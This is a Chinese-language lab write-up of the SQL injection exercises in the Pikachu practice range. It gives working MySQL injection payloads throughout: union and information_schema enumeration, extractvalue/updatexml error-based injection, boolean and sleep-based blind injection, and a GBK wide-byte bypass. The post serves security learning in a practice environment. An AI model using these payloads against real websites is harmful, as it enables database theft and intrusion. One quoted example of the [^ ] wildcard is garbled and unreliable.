pick靶場-sql注入

PYkiller發表於2020-06-27

甲.數字型注入

數字型注入一般提交值沒有引號,所以直接在後面構造語句就可以了。

 

 

 

 抓包檢視

 

 

 

 構造語句

 

 

 

 提交後

 

 

 

 

該資料庫表內容被爆出來了。

 

乙.字元型注入

 

首先我們要知道一點,字串在資料庫中提交是需要用引號將字串包含的。所以字元型注入一般需要用到引號來閉合字串,閉合引號後就可以接執行的sql語句,就可以執行。

name='kobe'

這時候需要構造語句  'or 1=1# 單引號是為了閉合1前面的單引號,#是為了註釋掉後面語句

 

這裡輸入kobe提交後顯示了uid和email,猜測語句是 select uid,email from 表 where username='輸入的值'

這裡要構造語句,輸入的值變成'or 1=1#。那麼查詢語句就是select uid,email from 表 where username=''or 1=1#'

閉合單引號後,把後面一個單引號註釋掉。

 

 

 

嘗試讀取資料庫資訊。

使用order by 猜表欄位數

 

 

 

 

 

 

表欄位數為2,開始構造語句

 database() 資料庫名

 version() 資料庫版本

 user()

 

22'  union select  database(),user()#

 

這裡瞭解下mysql中information_schema資料庫,他可以幫助我們查詢更多資訊。

 

Mysql 5.0以上中,information_schema資料庫會記錄當前資料庫資訊。

information_schema.tables 表名資訊

information_schema.columns  列名資訊

Table_name 表名

Column_name 列名

Table_schema  資料庫名

 

group_concat用來合併多條資料記錄,可用來合併結果。

因此,查詢當前資料庫下表名可以使用(group_concat使用與否均可,主要看返回資訊。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查詢表中列名

group_concat(column_name) from information_schema.columns where table_name = '列名'、

 

丙.搜尋型注入

搜尋框中的資料庫語句一般是採用的查詢語句,這裡我們先了解下sql查詢語句

SQL提供了四種匹配模式:% _ [ ] [^ ]

 

1. %

%表示模糊匹配0或多個字元,如以下查詢語句:

select * from user where name like '%三%'; 這個語句將會把name中帶有“三”的資訊全部查詢出來

select * from user where name like '%三' ; 這個語句將會把name中最右邊帶有“三”的資訊全部查詢出來

select * from user where name like '三%' ; 這個語句將會把name中最左邊帶有“三”的資訊全部查詢出來

 

2. _

_表示任意單個字元,如以下語句:

select * from user where name like '_三_'; 這個語句會匹配出“二三四”

select * from user where name like '__三'; 這個語句會匹配出“一二三”

 

3. [ ]

[ ]表示括號內所列字元中的一個(類似於正規表示式),如以下語句:

select * from user where name like '老[大二三]'; 如果都存在的話將找出“老大”、“老二”、“老三”

同時支援縮寫0-9、a-z等。

 

4.[^ ]

類似於正規表示式,將括號內的元素排除,如以下語句:

select * from user where name like '[0-3]個' 將會檢索出除了“0個”,“1個”,“2個”,“3個”

————————————————

版權宣告:本文為CSDN博主「MuffinFish」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處連結及本宣告。

原文連結:https://blog.csdn.net/qq_36113598/article/details/79372493

 

看題目,首先輸入ko,能夠查詢出來

 

再輸入ob,也可以查詢出來

 

 

 

很明顯,這裡使用的語句,應該是%這種型別的模糊查詢方式。

猜測語句是select username,uid,email from 表 where username='%輸入的值%'

構造語句,直接使用'or 1=1#

'閉合掉字串,然後使用#註釋掉後面的%'

 

 

 

sql語句很靈活,閉合前一個語句後,可以使用聯合查詢查詢資料庫資訊,比如'union select user(),2,3#

 

 

丁.xx注入

先試一試'union select 1,2#

報錯顯示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3#')' at line 1

發現我們寫的語句後面有個引號和括號,嘗試構造語句閉合

') union select 1,2,3#

報錯select列的數量不匹配,說明執行了我們構造的語句。嘗試改成') union select 1,2#

 

 

爆表資料就要用 ')or 1=1#

 

 

戊.insert/update注入

insert/update/delete注入

在這3種情況中,我們不能使用 union 去做聯合查詢,因為這不是查詢,而是操作。首先猜測語句型別,是查詢類的可以通過union語句來查詢。

 

首先,新增使用者的地方是對資料庫表進行寫入操作。

我們要了解,sql中寫入新資料,用的語句是

INSERT INTO 表名稱 VALUES (值1, 值2,....)

我們也可以指定所要插入資料的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

使提交報錯也印證了語句是用是insert into語句

 

 

 

首先要了解insert注入一般使用的語句

extractvalue(1,concat(0x7e,(database()))) and '1'='1'

extractvalue() :對XML文件進行查詢的函式

語法:extractvalue(目標xml文件,xml路徑)

第二個引數 xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

 

正常查詢 第二個引數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

 

concat函式是mysql的字串連線函式

裡面可以執行sql語句

select concat(0x7e,(select user()) ,0x7e)

驗證結果:16進位制也能被自動轉義(0x7e是 ~符號)

 

 

下面故意寫入語法錯誤:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

 

 

 https://blog.csdn.net/zpy1998zpy/article/details/80631036

 就是使extractvalue函式中第二個引數變成~select detabase(),這樣與extractvalue函式規定的語法不同,就會引起報錯。

在寫入資料的地方使用構造語句

ttt'and extractvalue(1,concat(0x7e,(database()))) and '1'='1

 

 

 

 

updatexml()

做資料修改的時候會存在update注入的地方

 

updatexml()函式與extractvalue()類似,是更新xml文件的函式。

語法updatexml(目標xml文件,xml路徑,更新的內容)

報錯語句為

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

 

 

構造語句

aa' and updatexml(1,concat(0x7e,(database())),1) and '1'='1

 

 

 其實也可以使用extractvalue(),只要有報錯,會執行我們構造的語句就成。

 

 

己.delete注入

sql中刪除資料一般使用

DELETE 語句

DELETE 語句用於刪除表中的行。

語法

DELETE FROM 表名稱 WHERE 列名稱 = 值

 

點選刪除

 

 

抓包看

 

 刪除的列名為id,值為59。不為字串,可直接構造語句

and extractvalue(1,concat(0x7e,(database())))

 url上改直接輸入

 

 

改資料包需要使用空格實體或者+

 

 

庚.http header

web滲透很多地方都涉及到資料包頭部的改寫,我這裡就不多說。

 

 

這題很坑的地方在於,不瞭解後端程式碼是怎麼寫的做起來很彆扭,因為這題目要顯示出包頭的資訊根本不需要將包頭資訊儲存在資料庫中。程式碼裡倒是寫進資料庫了,但後面呼叫是直接讀前端獲取到的頭部資訊,沒有從資料庫中讀取,可能作者是想做個類似訪問記錄的東西。

 

辛.boolian盲注

根據返回資訊判斷語句是否正確。

基於真假的盲注主要特徵

  • 沒有報錯資訊
  • 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
  • 在正確的輸入下,後面跟 and 1=1 / and 1=2 進行判斷

 

kobe' and 1=1#
kobe' and 1=2#

發現一條正確執行,一條顯示使用者名稱不存在,說明後臺存在 SQL 注入漏洞

length(database()) 判斷 資料庫名稱的長度

kobe' and length(database()) >5#

 

SUBSTR函式

 substr(database(), 1, 1) 擷取資料庫名稱第一個字元

ascii(substr(database(), 1, 1)) 擷取資料庫名稱第一個字元,轉換成ascii值

kobe' and ascii(substr(database(), 1, 1)) > 105# 判斷資料庫名稱第一個字元ascii值的大小

 

判斷出資料庫名稱後可以使用substr(database(),1,1)='字母'#

進行爆破,然後substr(database(),2,1)='字母'#依次爆破,得出完整資料庫名。

 

這裡簡要說明下SUBSTR函式:

SUBSTR函式是用來擷取資料庫某一列欄位中的一部分。

在各個資料庫的函式名稱不一樣

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

常用的方式是:

SBUSTR(str,pos);

就是從pos開始的位置,一直擷取到最後。

 

還有一種比較常用的是:

SUBSTR(str,pos,len);

這種表示的意思是,就是從pos開始的位置,擷取len個字元(空白也算字元)。

需要注意的是:如果pos為1(而不是0),表示從第一個位置開始。

————————————————

版權宣告:SUBSTR函式說明為CSDN博主「呼嘯」的原創,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處連結及本宣告。

原文連結:https://blog.csdn.net/howlaa/article/details/16825761

 

壬.延時盲注

構造語句,使語句提交操作延時,來判斷構造的語句是否正確。

kobe' and sleep(3)#

該語句表示如果存在kobe,則延時提交3秒。

根據這個方法,可以組合其他語句來猜解當前資料庫資訊。

 

lili' and if(substr(database(),1,1)='p',sleep(5),1)#

 

 

 

盲注可以通過爆破來輔助猜解,具體參考https://www.cnblogs.com/paperpen/p/12324363.html

 

癸.寬位元組注入

寬位元組注入是因為資料庫使用了GBK編碼,多位元組的編碼,兩個位元組代表一個漢字。

注入中單引號存在被反斜槓轉義的情況。\',其中\的十六進位制是 %5C。%df'被轉義成%df\',就變成了%df\'=%df%5c%27,%df%5c 是一個寬字元,也就是縗,也就是說:%df\' = %df%5c%27=縗'。單引號就可以按照初期想法被識別。

構造語句kobe%df%27 or 1=1#,通過網頁修改無效,直接修改資料包,成功。